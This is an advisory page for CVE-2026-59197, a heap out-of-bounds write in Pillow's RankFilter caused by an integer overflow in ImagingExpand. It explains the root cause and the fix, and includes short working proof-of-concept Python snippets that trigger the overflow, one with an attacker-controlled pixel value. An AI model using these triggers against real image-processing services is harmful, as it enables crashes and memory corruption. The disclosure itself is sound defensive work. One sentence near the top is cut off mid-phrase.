CVE-2026-59197: Pillow Heap Out-of-Bounds Write via Integer Overflow in RankFilter
Passing a very large filter size to Pillow's MedianFilter, MinFilter, or MaxFilter triggers a native heap buffer overflow in C code, which can corrupt process memory and potentially be exploited by an
The problem
In Pillow versions before 12.3.0, `ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before validating the filter size. With `size = 4294967295` (0xFFFFFFFF), the expansion margin becomes `INT_MAX` (2147483647).
`ImagingExpand()` in `src/libImaging/Filter.c` then computes output image dimensions using unchecked signed `int` arithmetic. The addition wraps around, producing a tiny (for example, 1x1) allocation. The border-copy loop still iterates up to `INT_MAX` times, writing past the allocation.
Mode `"I"` images produce 4-byte OOB writes where the value comes from attacker-supplied pixel data.
Proof of concept
A working proof-of-concept for CVE-2026-59197 in Pillow, with the exact payload below.
# Minimal crash (1-byte OOB write, mode L)
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
# 4-byte OOB write with attacker-controlled pixel value (mode I)
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))The root cause is a classic CWE-190 integer overflow. `ImagingExpand()` adds `2 * xmargin` to the input image width using a plain signed `int`, so passing `INT_MAX` as the margin wraps the sum to a small value. The allocator sees that small size, but the border-copy loop iterates `INT_MAX` times against it.
The checks that reject oversized filters exist in `RankFilter.c`, but they are unreachable in the vulnerable code path because `image.expand()` is called first in Python, before `rankfilter()` ever runs. The fix moves size validation to `RankFilter.__init__()` (PR #9695) so it fires at construction time, and hardens `ImagingExpand()` with an explicit overflow guard: `if (xmargin > (INT_MAX - imIn->xsize) / 2)` before the allocation.
The fix
Upgrade Pillow to 12.3.0 or later. The fix is in commit `cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1` (PR #9695). It validates the filter size in `RankFilter.__init__()` before `expand()` is ever called, and adds an integer-overflow guard to `ImagingExpand()` in `Filter.c`.
If you cannot upgrade immediately, reject untrusted filter-size inputs at the application layer before passing them to any `RankFilter`, `MedianFilter`, `MinFilter`, or `MaxFilter` constructor.
Reported by Seratov.
Related research
- high · 7.5CVE-2026-59199CVE-2026-59199: Pillow Heap Out-of-Bounds Write via Signed Coordinate Overflow
- high · 7.5CVE-2026-59200CVE-2026-59200: Pillow PdfParser Decompression Bomb DoS
- highCVE-2026-54058CVE-2026-54058: Pillow Out-of-Bounds Read via Undersized McIdas AREA Row Stride
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion